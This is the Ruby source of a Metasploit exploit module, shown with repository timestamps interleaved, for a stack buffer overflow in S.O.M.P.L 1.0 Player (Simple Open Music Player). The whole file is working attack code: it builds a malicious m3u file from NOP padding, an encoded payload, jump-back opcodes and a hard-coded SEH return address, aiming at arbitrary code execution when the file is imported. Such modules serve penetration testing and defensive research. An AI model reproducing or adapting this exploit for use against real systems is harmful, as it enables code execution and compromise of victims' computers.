metasploit-framework/modules/exploits/windows/fileformat/somplplayer_m3u.rb

75 lines
2.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::FILEFORMAT
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'S.O.M.P.L 1.0 Player Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Simple Open Music Player v1.0. When
the application is used to import a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rick2600', # Original Exploit
'dookie' # MSF Module
],
'References' =>
[
[ 'OSVDB', '64368' ],
[ 'EDB', '11219' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x32501B07 } ], # p/p/r in Fcc3250mt.dll
],
'Privileged' => false,
'DisclosureDate' => 'Jan 22 2010',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
sploit = make_nops(5)
sploit << payload.encoded
sploit << make_nops(4138 - (payload.encoded.length))
sploit << "\xE9\xCD\xEF\xFF\xFF" # Jump back to our nops
sploit << "\xEB\xF9\x90\x90" # Short jump back
sploit << [target.ret].pack('V')
2013-08-30 21:28:54 +00:00
print_status("Creating '#{datastore['FILENAME']}' file ...")
2013-08-30 21:28:54 +00:00
file_create(sploit)
2013-08-30 21:28:54 +00:00
end
end